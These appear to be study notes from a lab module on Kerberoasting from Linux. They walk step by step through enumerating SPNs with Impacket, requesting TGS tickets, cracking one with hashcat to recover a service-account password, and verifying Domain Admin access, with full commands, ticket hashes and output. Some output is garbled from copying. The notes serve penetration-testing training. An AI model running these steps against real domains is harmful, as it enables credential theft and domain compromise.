

18-Kerberoasting - from Linux

Kerberoasting is a technique used in **Active Directory** environments for privilege escalation or lateral movement. It exploits **Service Principal Names (SPNs)**, which are identifiers in **Kerberos** that map services to specific service accounts.

in these module we will perform attack on Kerberos to get the password of SPN and access the services

Key Points:

1. Targeting SPN Accounts:

- Any domain user can request a Kerberos ticket for an SPN-associated service account within the same domain or across trusted forests (if allowed).

2. TGS-REP Ticket:

- The ticket is encrypted using the NTLM hash of the service account. This can be cracked offline using tools like **Hashcat** to obtain the plaintext password.

3. Importance of Service Accounts:

- These accounts often have high privileges (local admin or even Domain Admin).
- Passwords are frequently weak, reused, or shared across multiple systems, making them easier to exploit.

4. Attack Goals:

- Cracking a service account password (e.g., for SQL Server) could grant local admin access on multiple servers.
- Attackers can use the access to execute commands or interact with services like **MSSQL** by enabling features like **xp_cmdshell**.

5. Origin of the Technique:

- The technique was first introduced at **Derbycon 2014** by **Tim Medin**.

In Short:

Kerberoasting allows any domain user to request encrypted tickets and crack them to retrieve plaintext service account passwords. With these credentials, attackers can escalate privileges and exploit resources across the network.

Kerberoasting - Performing the Attack must have valid credentials

Depending on your position in a network, this attack can be performed in multiple ways:

- From a non-domain joined Linux host using valid domain user credentials.

- From a domain-joined Linux host as root after retrieving the keytab file.
- From a domain-joined Windows host authenticated as a domain user.
- From a domain-joined Windows host with a shell in the context of a domain account.
- As SYSTEM on a domain-joined Windows host.
- From a non-domain joined Windows host using [runas](#) /netonly.

Several tools can be utilized to perform the attack:

- Impacket's [GetUserSPNs.py](#) from a non-domain joined Linux host.
- A combination of the built-in setspn.exe Windows binary, PowerShell, and Mimikatz.
- From Windows, utilizing tools such as PowerView, [Rubeus](#), and other PowerShell scripts.

GetUserSPNs.py :

<https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py>

Rubeus : <https://github.com/GhostPack/Rubeus>

notes: A prerequisite to performing Kerberoasting attacks is either domain user credentials (cleartext or just an NTLM hash if using Impacket), a shell in the context of a domain user, or account such as SYSTEM. Once we have this level of access, we can start. We must also know which host in the domain is a Domain Controller so we can query it.

Kerberoasting with GetUserSPNs.py

Let's start by installing the Impacket toolkit, which we can grab from [Here](#) <https://github.com/SecureAuthCorp/impacket>[(<https://github.com/SecureAuthCorp/impacket>)]. After cloning the repository, we can cd into the directory and install it as follows:

Installing Impacket using Pip

```
OxAmr0zZakaria@htb[/htb]$ sudo python3 -m pip install impacket

Processing /opt/impacket
  Preparing metadata (setup.py) ... done
Requirement already satisfied: chardet in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (4.0.0)
Requirement already satisfied: flask>=1.0 in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (1.1.2)
Requirement already satisfied: future in /usr/lib/python3/dist-packages
(from impacket==0.9.25.dev1+20220208.122405.769c3196) (0.18.2)
Requirement already satisfied: ldap3!=2.5.0,!2.5.2,!2.6,>=2.5 in
/usr/lib/python3/dist-packages (from
impacket==0.9.25.dev1+20220208.122405.769c3196) (2.8.1)
Requirement already satisfied: ldapdomaindump>=0.9.0 in
```

```
/usr/lib/python3/dist-packages (from  
impacket==0.9.25.dev1+20220208.122405.769c3196) (0.9.3)
```

<SNIP>

This will install all Impacket tools and place them in our PATH so we can call them from any directory on our attack host. Impacket is already installed on the attack host that we can spawn at the end of this section to follow along and work through the exercises. Running the tool with the `-h` flag will bring up the help menu.

Listing GetUserSPNs.py Help Options

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -h
```

```
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth  
Corporation
```

```
usage: GetUserSPNs.py [-h] [-target-domain TARGET_DOMAIN]  
                    [-usersfile USERSFILE] [-request]  
                    [-request-user username] [-save]  
                    [-outputfile OUTPUTFILE] [-debug]  
                    [-hashes LMHASH:NTHASH] [-no-pass] [-k]  
                    [-aesKey hex key] [-dc-ip ip address]  
                    target
```

Queries target domain for SPNs that are running under a user account

positional arguments:

```
target                domain/username[:password]
```

<SNIP>

We can start by just gathering a listing of SPNs in the domain. To do this, we will need a set of valid domain credentials and the IP address of a Domain Controller. We can authenticate to the Domain Controller with a cleartext password, NT password hash, or even a Kerberos ticket. For our purposes, we will use a password. Entering the below command will generate a credential prompt and then a nicely formatted listing of all SPN accounts. From the output below, we can see that several accounts are members of the Domain Admins group. If we can retrieve and crack one of these tickets, it could lead to domain compromise. It is always worth investigating the group membership of all accounts because we may find an account with an easy-to-crack ticket that can help us further our goal of moving laterally/vertically in the target domain.

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5  
INLANEFREIGHT.LOCAL/forend
```

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Password:

ServicePrincipalName	Name	MemberOf
PasswordLastSet	LastLogon	Delegation

-- -----		
backupjob/veam001.inlanefreight.local	BACKUPAGENT	CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL		
2022-02-15 17:15:40.842452	<never>	
sts/inlanefreight.local	SOLARWINDSMONITOR	CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL		
2022-02-15 17:14:48.701834	<never>	
MSSQLSvc/SPSJDB.inlanefreight.local:1433	sqlprod	CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL		
2022-02-15 17:09:46.326865	<never>	
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351	sqlqa	CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL		
2022-02-15 17:10:06.545598	<never>	
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433	sqldev	CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL		
2022-02-15 17:13:31.639334	<never>	
adfsconnect/azure01.inlanefreight.local	adfs	
CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security		
Groups,DC=INLANEFREIGHT,DC=LOCAL	2022-02-15 17:15:27.108079	<never>

We can now pull all TGS tickets for offline processing using the `-request` flag. The TGS tickets will be output in a format that can be readily provided to Hashcat or John the Ripper for offline password cracking attempts.

Requesting all TGS Tickets

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5  
INLANEFREIGHT.LOCAL/forend -request
```

Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Password:

ServicePrincipalName	Name	MemberOf
PasswordLastSet	LastLogon	Delegation


```
-----
--  -----
backupjob/veam001.inlanefreight.local          BACKUPAGENT          CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:15:40.842452 <never>
sts/inlanefreight.local                        SOLARWINDSMONITOR    CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:14:48.701834 <never>
MSSQLSvc/SPSJDB.inlanefreight.local:1433      sqlprod              CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:09:46.326865 <never>
MSSQLSvc/SQL-CL01-01inlanefreight.local:49351 sqlqa                CN=Dev
Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:10:06.545598 <never>
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 sqldev              CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
2022-02-15 17:13:31.639334 <never>
adfsconnect/azure01.inlanefreight.local        adfs
CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security
Groups,DC=INLANEFREIGHT,DC=LOCAL 2022-02-15 17:15:27.108079 <never>
```

```
$krb5tgs$23$*BACKUPAGENT$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/BACKUPAGENT
*$790ae75fc53b0ace5daeb5795d21b8fe$b6be1ba275e23edd3b7dd3ad4d711c68f9170bac8
5e722cc3d94c80c5dca6bf2f07ed3d3bc209e9a6ff0445cab89923b26a01879a53249c5f0a8c
4bb41f0ea1b1196c322640d37ac064ebe3755ce888947da98b5707e6b06cbf679db1e7bbbea7
d10c36d27f976d3f9793895fde20d3199411a90c528a51c91d6119cb5835bd29457887dd917b
6c621b91c2627b8dee8c2c16619dc2a7f6113d2e215aef48e9e4bba8deff329a68666976e55e
6b3af0cb8184e5ea6c8c2060f8304bb9e5f5d930190e08d03255954901dc9bb12e53ef87ed60
3eb2247d907c3304345b5b481f107cefdb4b01be9f4937116016ef4bbefc8af2070d039136b7
9484d9d6c7706837cd9ed4797ad66321f2af200bba66f65cac0584c42d900228a63af39964f0
2b016a68a843a81f562b493b29a4fc1ce3ab47b934cbc1e29545a1f0c0a6b338e5ac821fec2b
ee503bc56f6821945a4cdd24bf355c83f5f91a671bdc032245d534255aac81d1ef318d83e3c5
2664cfd555d24a632ee94f4adeb258b91eda3e57381dba699f5d6ec7b9a8132388f2346d33b6
70f1874dfa1e8ee13f6b3421174a61029962628f0bc84fa0c3c6d7bbfba8f2d1900ef9f7ed55
95d80edc7fc6300385f9aa6ce1be4c5b8a764c5b60a52c7d5bbdc4793879bfc7d1002acbe83
583b5a995cf1a4bbf937904ee6bb537ee00d99205ebf5f39c722d24a910ae0027c7015e6daf7
3da77af1306a070fdd50aed472c444f5496ebbc8fe961fee9997651daabc0ef0f64d47d8342a
499fa9fb8772383a0370444486d4142a33bc45a54c6b38bf55ed613abbd0036981dabc88cc88
a5833348f293a88e4151fbda45a28ccb631c847da99dd20c6ea4592432e0006ae559094a4c54
6a8e0472730f0287a39a0c6b15ef52db6576a822d6c9ff06b57cfb5a2abab77fd3f119caaf74
ed18a7d65a47831d0657f6a3cc476760e7f71d6b7cf109c5fe29d4c0b0bb88ba963710bd0762
```

67b889826cc1316ac7e6f541cecb71cb819eace1e2e2243685d6179f6fb6ec7cfcac837f019
89e7547f1d6bd6dc772aed0d99b615ca7e44676b38a02f4cb5ba8194b347d7f21959e3c41e29
a0ad422df2a0cf073fcfd37491ac062df903b77a32101d1cb060efda284cae727a2e6cb890f4
243a322794a97fc285f04ac6952aa57032a0137ad424d231e15b051947b3ec0d7d654353c41d
6ad30c6874e5293f6e25a95325a3e164abd6bc205e5d7af0b642837f5af9eb4c5bca9040ab4b
999b819ed6c1c4645f77ae45c0a5ae5fe612901c9d639392eaac830106aa249faa5a895633b2
0f553593e3ff01a9bb529ff036005ec453eaec481b7d1d65247abf62956366c0874493cf16da
6ffb9066faa5f5bc1db5bbb51d9ccadc6c97964c7fe1be2fb4868f40b3b59fa6697443442fa5
cebaaed9db0f1cb8476ec96bc83e74ebe51c025e14456277d0a7ce31e8848d88cbac9b57ac74
0f4678f71a300b5f50baa6e6b85a3b10a10f44ec7f708624212aeb4c60877322268acd941d59
0f81ffc7036e2e455e941e2cfb97e33fec5055284ae48204d
\$krb5tgs\$23\$*SOLARWINDSMONITOR\$INLANEFREIGHT.LOCAL\$INLANEFREIGHT.LOCAL/SOLAR
WINDSMONITOR*\$993de7a8296f2a3f2fa41badec4215e1\$d0fb2166453e4f2483735b9005e15
667dbfd40fc9f8b5028e4b510fc570f5086978371ecd81ba6790b3fa7ff9a007ee9040f0566f
4aed3af45ac94bd884d7b20f87d45b51af83665da67fb394a7c2b345bff2dfe7fb72836bb1a4
3f12611213b19fdae584c0b8114fb43e2d81eeee2e2b008e993c70a83b79340e7f0a6b6a1dba
9fa3c9b6b02adde8778af9ed91b2f7fa85dcc5d858307f1fa44b75f0c0c80331146dfd5b9c5a
226a68d9bb0a07832cc04474b9f4b4340879b69e0c4e3b6c0987720882c6bb6a52c885d1b79e
301690703311ec846694cdc14d8a197d8b20e42c64cc673877c0b70d7e1db166d575a5eb883f
49dfbd2b9983dd7aab1cff6a8c5c32c4528e798237e837ffa1788dca73407aac79f9d6f74c66
26337928457e0b6bbf666a0778c36cba5e7e026a177b82ed2a7e119663d6fe9a7a8485896223
3f843d784121147ef4e63270410640903ea261b04f89995a12b42a223ed686a4c3dcb95ec9b6
9d12b343231cccfd29604d6d777939206df4832320bdd478bda0f1d262be897e2dcf51be0a75
1490350683775dd0b8a175de4feb6cb723935f5d23f7839c08351b3298a6d4d8530853d9d4d1
e57c9b220477422488c88c0517fb210856fb603a9b53e734910e88352929acc00f82c4d8f1dd
783263c04aff6061fb26f3b7a475536f8c0051bd3993ed24ff22f58f7ad5e0e1856a74967e70
c0dd511cc52e1d8c2364302f4ca78d6750aec81dfdea30c298126987b9ac867d6269351c4176
1134bc4be67a8b7646935eb94935d4121161de68aac38a740f09754293eacdba7dfe26ace6a4
ea84a5b90d48eb9bb3d5766827d89b4650353e87d2699da312c6d0e1e26ec2f46f3077f13825
764164368e26d58fc55a358ce979865cc57d4f34691b582a3afc18fe718f8b97c44d0b812e5d
eed444d665e847c5186ad79ae77a5ed6efab1ed9d863edb36df1a5cd4abdbf7f7e872e3d5fa
0bf7735348744d4fc048211c2e7973839962e91db362e5338da59bc0078515a513123d6c5537
974707bdc303526437b4a4d3095d1b5e0f2d9db1658ac2444a11b59ddf2761ce4c1e5edd92bc
f5cbd8c230cb4328ff2d0e2813b4654116b4fda929a38b69e3f9283e4de7039216f18e85b9ef
1a59087581c758efec16d948accc909324e94cad923f2487fb2ed27294329ed314538d0e0e75
019d50bcf410c7edab6ce11401adba5a3a009ab304d9bdcb0937b4dcab89e90242b75366446
77c62fd03741c0b9d090d8fdf0c856c36103aedfd6c58e7064b07628b58c3e086a685f70a137
7f53c42ada3cb7bb4ba0a69085dec77f4b7287ca2fb2da9bcbedc39f50586bfc9ec0ac61b687
043afa239a46e6b20aacb7d5d8422d5cacc02df18fea3be0c0aa0d83e7982fc225d9e6a2886d
c223f6a6830f71dabae21ff38e1722048b5788cd23ee2d6480206df572b6ba2acfe1a5ff6bee
8812d585eeb4bc8efce92fd81aa0a9b57f37bf3954c26afc98e15c5c90747948d6008c80b620
a1ec54ded2f3073b4b09ee5cc233bf7368427a6af0b1cb1276ebd85b45a30

<SNIP>

We can also be more targeted and request just the TGS ticket for a specific account. Let's try requesting one for just the `sqldev` account.

Requesting a Single TGS ticket

```
0xAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend -request-user sqldev
```

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Password:

ServicePrincipalName	Name	MemberOf
PasswordLastSet	LastLogon	Delegation
-----	-----	-----
-----	-----	-----

```
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 sqldev CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL 2022-02-15 17:13:31.639334
<never>
```

```
$krb5tgs$23$*sqldev$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/sqldev*$4ce5b711
88b357b26032321529762c8a$1bdc5810b36c8e485ba08fcb7ab273f778115cd17734ec65be7
1f5b4bea4c0e63fa7bb454fdd5481e32f002abff9d1c7827fe3a75275f432ebb628a471d3be4
5898e7cb336404e8041d252d9e1ebef4dd3d249c4ad3f64efaaafd06bd024678d4e6bdf582e59
c5660fcf0b4b8db4e549cb0409ebfbd2d0c15f0693b4a8ddcab243010f3877d9542c790d2b79
5f5b9efbcfd2dd7504e7be5c2f6fb33ee36f3fe001618b971fc1a8331a1ec7b420dfe13f67ca
7eb53a40b0c8b558f2213304135ad1c59969b3d97e652f55e6a73e262544fe581ddb71da0604
19b2f600e08dbcc21b57355ce47ca548a99e49dd68838c77a715083d6c26612d6c60d72e4d42
1bf39615c1f9cdb7659a865eecca9d9d0faf2b77e213771f1d923094ecab2246e9dd6e736f83
b21ee6b352152f0b3bbfea024c3e4e5055e714945fe3412b51d3205104ba197037d44a0eb73e
543eb719f12fd78033955df6f7ebead5854ded3c8ab76b412877a5be2e7c9412c25cf1dcb76d
854809c52ef32841269064661931dca3c2ba8565702428375f754c7f2cada7c2b34bbe191d60
d07111f303deb7be100c34c1c2c504e0016e085d49a70385b27d0341412de774018958652d80
577409bfff654c00ece80b7975b7b697366f8ae619888be243f0e3237b3bc2baca237fb96719d
9bc1db2a59495e9d069b14e33815cafe8a8a794b88fb250ea24f4aa82e896b7a68ba3203735e
c4bca937bceac61d31316a43a0f1c2ae3f48cbcbf294391378ffd872cf3721fe1b427db0ec33
fd9e4dfe39c7cbcd5d70b7960758a2d89668e7e855c3c493def6aba26e2846b98f65b798b349
8af7f232024c119305292a31ae121a3472b0b2fcaa3062c3d93af234c9e24d605f155d8e14ac
```



```
11bb8f810df400604c3788e3819b44e701f842c52ab302c7846d6dcb1c75b14e2c9fdc68a5de
b5ce45ec9db7318a80de8463e18411425b43c7950475fb803ef5a56b3bb9c062fe90ad94c55c
dde8ec06b2e5d7c64538f9c0c598b7f4c3810ddb574f689563db9591da93c879f5f7035f4ff5
a6498ead489fa7b8b1a424cc37f8e86c7de54bdad6544ccd6163e650a5043819528f38d64409
cb1cfa0aeb692bdf3a130c9717429a49fff757c713ec2901d674f80269454e390ea27b8230de
c7fffb032217955984274324a3fb423fb05d3461f17200dbef0a51780d31ef4586b51f130c86
4db79796d75632e539f1118318db92ab54b61fc468eb626beaa7869661bf11f0c3a501512a94
904c596652f6457a240a3f8ff2d8171465079492e93659ec80e2027d6b1865f436a443b4c16b
5771059ba9b2c91e871ad7baa5355d5e580a8ef05bac02cf135813b42a1e172f873bb4ded2e9
5faa6990ce92724bcfea6661b592539cd9791833a83e6116cb0ea4b6db3b161ac7e7b425d0c2
49b3538515ccfb3a993affbd2e9d247f317b326ebca20fe6b7324ffe311f225900e14c62eb34
d9654bb81990aalbf626dec7e26ee2379ab2f30d14b8a98729be261a5977fefdcaaa3139d4b8
2a056322913e7114bc133a6fc9cd74b96d4d6a2
```

With this ticket in hand, we could attempt to crack the user's password offline using Hashcat. If we are successful, we may end up with Domain Admin rights.

To facilitate offline cracking, it is always good to use the `-outputfile` flag to write the TGS tickets to a file that can then be run using Hashcat on our attack system or moved to a GPU cracking rig.

Saving the TGS Ticket to an Output File

```
OxAmr0zZakaria@htb[/htb]$ GetUserSPNs.py -dc-ip 172.16.5.5
INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs

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Password:
ServicePrincipalName          Name      MemberOf
PasswordLastSet              LastLogon  Delegation
-----
-----
-----
-----
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev    CN=Domain
Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL    2022-02-15 17:13:31.639334
<never>
```

Here we've written the TGS ticket for the `sqldev` user to a file named `sqldev_tgs`. Now we can attempt to crack the ticket offline using Hashcat hash mode `13100`.

Cracking the Ticket Offline with Hashcat

```
OxAmr0zZakaria@htb[/htb]$ hashcat -m 13100 sqldev_tgs
/usr/share/wordlists/rockyou.txt
```


hashcat (v6.1.1) starting...

<SNIP>

\$krb5tgs\$23\$*sqldev\$INLANEFREIGHT.LOCAL\$INLANEFREIGHT.LOCAL/sqldev*\$81f3efb5827a05f6ca196990e67bf751\$f0f5fc941f17458eb17b01df6eeddce8a0f6b3c605112c5a71d5f66b976049de4b0d173100edaee42cb68407b1eca2b12788f25b7fa3d06492effe9af37a8a8001c4dd2868bd0eba82e7d8d2c8d2e3cf6d8df6336d0fd700cc563c8136013cca408fec4bd963d035886e893b03d2e929a5e03cf33bbef6197c8b027830434d16a9a931f748dede9426a5d02d5d1cf9233d34bb37325ea401457a125d6a8ef52382b94ba93c56a79f78cb26ffc9ee140d7bd3bdb368d41f1668d087e0e3b1748d62dfa0401e0b8603bc360823a0cb66fe9e404eada7d97c300fde04f6d9a681413cc08570abeeb82ab0c3774994e85a424946def3e3dbdd704fa944d440df24c84e67ea4895b1976f4cda0a094b3338c356523a85d3781914fc57aba7363feb4491151164756ecb19ed0f5723b404c7528ebf0eb240be3baa5352d6cb6e977b77bce6c4e483cbc0e4d3cb8b1294ff2a39b505d4158684cd0957be3b14fa42378842b058dd2b9fa744cee4a8d5c99a91ca886982f4832ad7eb52b11d92b13b5c48942e31c82eae9575b5ba5c509f1173b73ba362d1cde3bbd5c12725c5b791ce9a0fd8fcf5f8f2894bc97e8257902e8ee050565810829e4175acce78f909cc418fd2e9f4bd3514e4552b45793f682890381634da504284db4396bd2b68dfeea5f49e0de6d9c6522f3a0551a580e54b39fd0f17484075b55e8f771873389341a47ed9cf96b8e53c9708ca4fc134a8cf38f05a15d3194d1957d5b95bb044abbb98e06ccd77703fa5be4aacc1a669fe41e66b69406a553d90efe2bb43d398634aff0d0b81a7fd4797a953371a5e02e25a2dd69d16b19310ac843368e043c9b271cab112981321c28bfc452b936f6a397e8061c9698f937e12254a9aadf231091be1bd7445677b86a4ebf28f5303b11f48fb216f9501667c656b1abb6fc8c2d74dc0ce9f078385fc28de7c17aa10ad1e7b96b4f75685b624b44c6a8688a4f158d84b08366dd26d052610ed15dd68200af69595e6fc4c76fc7167791b761fb699b7b2d07c120713c7c797c3c3a616a984dbc532a91270bf167b4aaded6c59453f9ffecb25c32f79f4cd01336137cf4eee304edd205c0c8772f66417325083ff6b385847c6d58314d26ef88803b66afb03966bd4de4d898cf7ce52b4dd138fe94827ca3b2294498dbc62e603373f3a87bb1c6f6ff195807841ed636e3ed44ba1e19fbb19bb513369fca42506149470ea972fccbab40300b97150d62f456891bf26f1828d3f47c4ead032a7d3a415a140c32c416b8d3b1ef6ed95911b30c3979716bda6f61c946e4314f046890bc09a017f2f4003852ef1181cec075205c460aea0830d9a3a29b11e7c94fffcad0ba76ba3ba1f0577306555b2cbdf036c5824ccffa1c880e2196c0432bc46da9695a925d47febd3be10104dd86877c90e02cb0113a38ea4b7e4483a7b18b15587524d236d5c67175f7142cc75b1ba05b2395e4e85262365044d272876f500cb511001850a390880d824aec2c452c727beab71f56d8189440ecc3915c148a38eac06dbd27fe6817fffb1404c1f:database!

Session.....: hashcat

Status.....: Cracked

Hash.Name.....: Kerberos 5, etype 23, TGS-REP

Hash.Target.....:


\$krb5tgs\$23\$*sqldev\$INLANEFREIGHT.LOCAL\$INLANEFREIG...404c1f

Time.Started.....: Tue Feb 15 17:45:29 2022, (10 secs)

```
Time.Estimated....: Tue Feb 15 17:45:39 2022, (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 821.3 kH/s (11.88ms) @ Accel:64 Loops:1 Thr:64 Vec:8
Recovered.....: 1/1 (100.00%) Digests
Progress.....: 8765440/14344386 (61.11%)
Rejected.....: 0/8765440 (0.00%)
Restore.Point....: 8749056/14344386 (60.99%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: davius07 -> darten170
```

Started: Tue Feb 15 17:44:49 2022

Stopped: Tue Feb 15 17:45:41 2022



```
[ben@mrb3n]-[/tmp]
$
```

We've successfully cracked the user's password as `database!`. As the last step, we can confirm our access and see that we indeed have Domain Admin rights as we can authenticate to the target DC in the INLANEFREIGHT.LOCAL domain. From here, we could perform post-exploitation and continue to enumerate the domain for other paths to compromise and other notable flaws and misconfigurations.

Testing Authentication against a Domain Controller

```
0xAmr0zZakaria@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p
database!
```

```
SMB          172.16.5.5          445          ACADEMY-EA-DC01  [*] Windows 10.0 Build
17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True)
```

```
(SMBv1:False)
```

```
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+]
```

```
INLANEFREIGHT.LOCAL\sqldev\sqldev! (Pwn3d!)
```

another example: we will use the username: sqldev , password : database!

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev
```

```
[*] Error in bindRequest -> invalidCredentials: 8009030C: LdapErr: DSID-0C090690, comment: AcceptSecurityContext error, data 52e, v4563
[.../bin/ntlmssp.py] - [./bin/ntlmssp.py]
[*] *GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev
Impactet v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName      Name      MemberOf      PasswordLastSet      LastLogon
Delegation
-----
MSSQLSvc/ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL:1433  damundsen  CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL  2022-03-24 12:20:34.127432  2022-04-10 18:50:58.924378
MSSQL/ACADEMY-EA-FILE      damundsen  CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL  2022-03-24 12:20:34.127432  2022-04-10 18:50:58.924378
backuptjob/veam01.inlanefreight.local  backupagent  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:40.842452  2022-04-18 21:20:32.090310
sts/inlanefreight.local    solarwindmonitor  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:14:48.701834  <never>
MSSQLSvc/SPSJOB.inlanefreight.local:1433  sqlprod  CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:09:46.326865  <never>
MSSQLSvc/SQL-CL01-01.inlanefreight.local:49351  sqlqa  CN=Dev Accounts,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:10:06.545598  <never>
MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433  sqldev  CN=Domain Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:13:31.639334  <never>
adfsconnect/azure01.inlanefreight.local  adfs  CN=ExchangeLegacyInterop,OU=Microsoft Exchange Security Groups,DC=INLANEFREIGHT,DC=LOCAL  2022-02-15 17:15:27.108079  <never>
testspn/kerberoast.inlanefreight.local  testspn  2022-02-27 15:15:43.406442  <never>
testspn2/kerberoast.inlanefreight.local  testspn2  2022-02-27 15:59:39.843945  <never>
http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL  certsvc  2022-03-30 15:44:18.414039  2022-03-30 15:50:53.679679
vmware/inlanefreight.local  svc_vmwareoso  2022-04-05 15:32:46.799565  <never>
```

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/sqldev -request
```

we will get all TGS

```
88430501492582d4cfa0dcb6a016507d8d36bd1d207a058902c18a849c879a
34b559552335*sqlprod$INLANEFREIGHT.LOCAL\sqlprod*513d7350e64b0b6d9e3a605d62b3ae564d7f56604a368163741d20d9ae5335c8cf3270065d054a22ce600cedd091b1aead7d0d8284daaedfa831b8b7bd01d7c66ddad1e
2052f3c3b7352da5e3c4abfa7ab71adff9c2021999370f981f605a1bbdc1146f7746690f0db781c2a60422482049a4c38e2f7f8ef4d8813fbf02487e02b889bcf2935a873aba2b00f2f3d33c021c3fbcdbae9ff8f504a62bfec1195590cfce808a386ab9f0f5352261
4bcb28fc430d0ad4ff95e265562fd0e8f7e1e2ef3990b1e77327827362d43cf4aae6a0d05f585c81cb72a6827bfed4ad809a1cbb6d7d1c64f265341c57705d21d4b54fd62f3cb57678f0d33fc3b0273367bf00b55aa5fad46b1ebc2055e1fe928990809cc45eb2573839c
fae10e70cfaf9ebce5dd8437e232c0925dd931f0e63aaf28a585834cd8b3d2590d51779fe5d60798806ab6a4074fe0902cef1b0d3b6370755632230714b32938da107b0f101fa6f34db57eb233f342d0022dd1f21ab182c47d81df0c8861b091fe4a8584e1b055c47
20ed1f0f3b91c7186f7884f1bf0a5fe25c81d0193bb2857289d1c3068f2680723f80bbb7c628b33cf56725212a22d82f7e6d7e9b2bf0071df36ff4c547a4603344972e495d96f9ec847f4779e3a8e257b0b8fca10767fc7475d0ee4826092e456d890f75eeb348fa969e36
47b729b904b66117451387184129calae2d1869f733dec1b0c0de742f52fd7b888bb671e4638e5513e64b3dbbba17408475530528451425d9f3f0589f8dbac8684962fb54f582fb5c4064f07b1a62471b29f6127a35b4bdf61a55ebbf9a72710b3d2ea7667b01226a157
f0d67baf9cd482763648a657fb6bcab81f3abf8263c9158c4104347412918fad7337c056db2e1caaea765ee52d3bf234c22994d98d837fc4f208ccfd287912abfb6d99ac0bcc3395c2a1ec708944c4249592bcbdd1abc5ee9d73a68ca6d82197f6a01ae2f73bda087626ba4
9cfff28f447282650530c1423aeca221dfc059c7318844214e434c688c698ba0f732f2edc397b75e31d030c3fc4c98e6f0c462a7b88aa084e7951bad08ee246ed708a1bdcf1d7d9024a73c09d800443ff4774936eddbd69bf55e3055acaf5319ced1b5092541ffcc0f249
e6b3047524d0010745af26478f975fb228d63efc90fa811c2ef3bf6cd46b5c7e487d21edede63c6719460339041181900db938bb4c59b08a151036f062f5bb1a89df0aac510ca71128c8179a2a2f7c6cfae5b782f809e5e186ee26c14302f2b3f667c23517f4fe25e9c8fa
0a54943ae9d3d0e35381d275181289cd0dd62452653d65310b911e140f808205f4f1fca59b5a100f3d497aa4fe0b91e590954b1168fa434939b7df198db37355602b95a081dae33f1a6e38e3fa8f5f24a6a1782f9680e044953dbf81ac4597e74843f467d8aa448027
0916000b57f7e77a4cf52902f69dc266c1510423
5kzbt5tgs*2335*sqlqa$INLANEFREIGHT.LOCAL\sqlqa*$21177e4e10471321f738df468ab224ad54f329714e649b48777dc8e24286e405acc1aa0ad449e6f80f17b52cc530a09448bf946076af992e9fe58198830eb749085147db878b654a6015
18d1f55d0687034ed12529f373e7f6b702e6ec8280cbacd17142c5dbd90b7fc40a8a1430c11e3e7742f35d49d36053a5b59c21df08cfc5e0a506feaa19b7acba845c2e8ba51f9df6c40893f691b5d55cbdf94101ba7a3f054798e1d2ae36bc89bf6f98b0273c9d3875a
